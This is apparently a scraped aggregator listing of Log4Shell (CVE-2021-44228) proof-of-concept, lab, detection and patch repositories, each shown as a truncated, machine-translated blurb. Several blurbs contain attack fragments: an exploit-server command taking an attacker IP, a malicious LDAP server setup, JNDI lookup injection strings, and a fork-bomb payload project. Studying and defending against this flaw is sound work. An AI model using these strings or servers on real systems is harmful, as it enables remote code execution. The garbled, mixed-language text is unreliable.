JNDI-Exploit-1.2-log4shell

JNDI-Exploit-1.2-log4shell Detalhes : CVE-2021-44228 Uso : root@kitploit: ----------------------------------------------------- java -jar JNDIExploit-1.2.jar -i AttackerIP -i, --ip Local ip address -l, --ldapPort Ldap bind port default: 1389 -p, --httpPort Http bind port default: 8080 -u, --usage...

CVE-2021-44228

Prova-de-Conceito Log4Shell Este repositório é uma Prova-de-Conceito para a vulnerabilidade CVE-2021-44228. É derivado de Este Repositório. Neste repositório, fiz um exemplo de uma aplicação vulnerável e uma demonstração de como explorá-la. Componentes da Prova-de-Conceito Modifiquei o script...

CVE-2021-44228-Apache-Log4j

CVE-2021-44228Apache Log4j Remote Code Execution） Versões afetadas: todas as versões de 2.0-beta9 até 2.12.1 e de 2.13.0 até 2.15.0 Avisos / Boletins de segurança vinculados ao Log4Shell CVE-2021-44228 Uso: 1. Baixe o projeto e compile o InjectClazz.java root@kitploit: download git clone...

log4j-cve-2021-44228

Log4j CVE-2021-44228 e CVE-2021-45046 Pré-requisitos Use um JDK vulnerável, por exemplo JDK 1.8.0181 Uso Servidor malicioso O servidor malicioso implanta os seguintes endpoints: 1389 Servidor LDAP 1099 Servidor RMI 8081 Servidor HTTP root@kitploit: ./gradlew :malicious-server:bootRun Aplicação...

homelab-CVE-2021-44228

Homelab: Log4Shell CVE-2021-44228 no Apache Solr Ambiente controlado em Docker para reproduzir e estudar a vulnerabilidade Log4Shell no Apache Solr. O Ambiente Alvo solr-lab: Apache Solr v8.11.0 vulhub/solr:8.11.0 rodando uma versão vulnerável do Log4j. Atacante kali-lab: Container Kali Linux...

CVE-2021-44228

Verificador CVE-2021-44228 Este é o repositório para verificar a vulnerabilidade CVE-2021-44228. Este é um PoC que apenas exibe strings sem qualquer carregamento de classe externa. Não pode ser usado para execução arbitrária de código. Como funciona? Passo 1: Executar a aplicação do servidor A...

log4j2-test

Log4j2 2.14.1 LDAP रिमोट कोड एक्ज़ीक्यूशन भेद्यता CVE-2021-44228 सत्यापन 🎈 Spring Boot 2.x वातावरण में परीक्षण किया गया भेद्यता अधिसूचना https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml : Log4j2 संस्करण को भेद्य संस्करण में घटाया गया root@kitploit: 17 2.14.1 LoggingController...

CVE-2021-44228-Log4Shell-

CVE-2021-44228-Log4Shell- प्रवेश परीक्षण 1. दुर्भावनापूर्ण LDAP सर्वर बनाएं Marshalsec का उपयोग करके root@kitploit: !/bin/bash Script: startldapserver.sh Yêu cầu: Cài đặt Java và Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101"...

test-44228

test-44228 CVE-2021-44228 के लिए एक सरल उदाहरण लॉग4शेल भेद्यता को प्रदर्शित करने के लिए दो java CLIs लागू करता है, एक log4j v1.x का उपयोग करता है और दूसरा log4j 2.x का। यह भी देखें: https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.oracle.com/security-alerts/alert-cve-2021-44228.html...

detect-log4j-exploitable

CVE-2021-44228 एक हमलावर जो लॉग संदेशों या लॉग संदेश मापदंडों को नियंत्रित कर सकता है, जब संदेश लुकअप प्रतिस्थापन सक्षम होता है, तो LDAP सर्वरों से लोड किए गए मनमाने कोड को निष्पादित कर सकता है। यह स्क्रिप्ट चल रही प्रक्रिया से log4j शोषण का पता लगाने में मदद करेगी। यह बिना वास्तव में कोड का शोषण...

log4j2-issue-check

Log4Shell का मूल्यांकन करें: RCE 0-day समस्या इस रिपॉजिटरी में Log4j2 समस्या CVE-2021-44228 का मूल्यांकन करने के लिए कोड मौजूद है। अधिक विवरण https://www.lunasec.io/docs/blog/log4j-zero-day/ परीक्षण कैसे करें क्वेरी पैरामीटर के रूप में $jndi:ldap://127.0.0.1:3089/ के साथ GET अनुरोध भेजें।...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell Preuve de concept Les fonctionnalités JNDI d'Apache Log4j2 =2.14.1 utilisées dans la configuration, les messages de journalisation et les paramètres ne protègent pas contre les points de terminaison LDAP contrôlés par un attaquant ni contre d'autres points de terminaison...

log4j-jndi-be-gone

log4j-jndi-be-gone أداة تعتمد على وكيل Java من Byte Buddy لإصلاح الثغرة CVE-2021-44228 ثغرة "JNDI LDAP" في log4j 2.x. تقوم بثلاثة أشياء: تعطيل معالج الطريقة الداخلية لسلسل النصوص بتنسيق jndi: "عمليات البحث". تسجيل رسالة على System.err أي stderr تشير إلى محاولة JNDI لـ log4j بما في ذلك سلسلة النص...

log4j-exploit-fork-bomb

log4j-exploit-with-fork-bomb 💣💥💀 Proof of Concept: CVE-2021-44228 भेद्यता के कारण दूरस्थ सर्वर पर fork-bomb चलाने का उदाहरण 1. आक्रमणकारी का LDAP सर्वर बनाएं server मॉड्यूल, जो स्ट्रिंग और कोड प्रस्तुतियाँ payload मॉड्यूल प्रदान करेगा 2. एक पीड़ित उदाहरण बनाएं victim मॉड्यूल और Log4j को एक स्ट्रि...

ModSec-log4j2

Testando a regra de ModSec Pré requisitos Ter docker instalado Ter Java instalado na sua máquina Executando o teste Realizar o git clone do repositorio Executar o comando abaixo para subir o WAF ModSec e a aplicação vulneravel root@kitploit: docker stack deploy -c docker-compose.yml WAF Extrair o...

CVE-2021-44228-Demo

CVE-2021-44228-Demo مثال على استغلال CVE-2021-44228 لحقن الكود عن بُعد عبر كل من RMI و LDAP. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit تشغيل...

CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-

CVE-2026-21011 – कस्टम लॉगर में Log4j‑शैली JNDI इंजेक्शन सिम्युलेटेड प्रोग्राम कोड Python में Java सिमुलेशन root@kitploit: log4jsim.py - Custom logger that evaluates $... patterns import subprocess, re def logmessage: Vulnerable: looks up JNDI-like syntax and executes pattern = r'$\jndi:.+?' for...

log4j2-CVE-2021-44228

Пример уязвимого приложения Log4j2 CVE-2021-44228 Затронутые версии: все версии с 2.0-beta9 по 2.14.1 Это приложение основано на веб-приложении Spring Boot, уязвимом к CVE-2021-44228. Оно использует Log4j 2.14.1 через spring-boot-starter-log4j2 2.6.1. Запуск приложения Запустите его: root@kitploi...

log4j-vul

log4j-vul هذا المشروع يهدف فقط إلى عرض ثغرة Apache Log4j2 - المعروفة باسم CVE-2021-44228 جافا: java version "1.8.0121" الترجمة: من مجلد src javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java التنفيذ\التشغيل: من مجلد src java -classpath...

Apache-Log4j-POC

Apache-Log4j-POC CVE-2021-44228 Apache Log4j LDAP lookup भेद्यता का प्रूफ ऑफ कॉन्सेप्ट आप इस भेद्यता के बारे में यहाँ और पढ़ सकते हैं: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ प्रदान किया गया LDAP सर्वर जो दुर्भावनापूर्ण ऑब्जेक्ट लौटाता है, उसे कैसे चलाएँ ?...